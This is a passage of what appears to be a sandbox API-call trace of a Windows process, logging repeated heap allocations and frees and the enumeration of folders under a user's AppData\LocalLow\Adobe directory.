(HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.041] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0127.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.042] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0127.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.042] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0127.042] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0127.042] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.042] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0127.042] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0127.042] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0127.042] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.042] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0127.042] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.042] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.042] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.042] PathFindFileNameW (pszPath="") returned="" [0127.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.042] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.042] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.042] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.043] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0127.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074fd8 [0127.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x3076e68 [0127.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.043] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.043] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fd8 | out: hHeap=0x5c0000) returned 1 [0127.043] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0127.043] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.043] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.043] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0127.043] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074fd8 [0127.043] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.043] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.043] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.043] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.043] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.043] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.043] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0127.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0127.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0127.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0127.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0127.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0127.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS 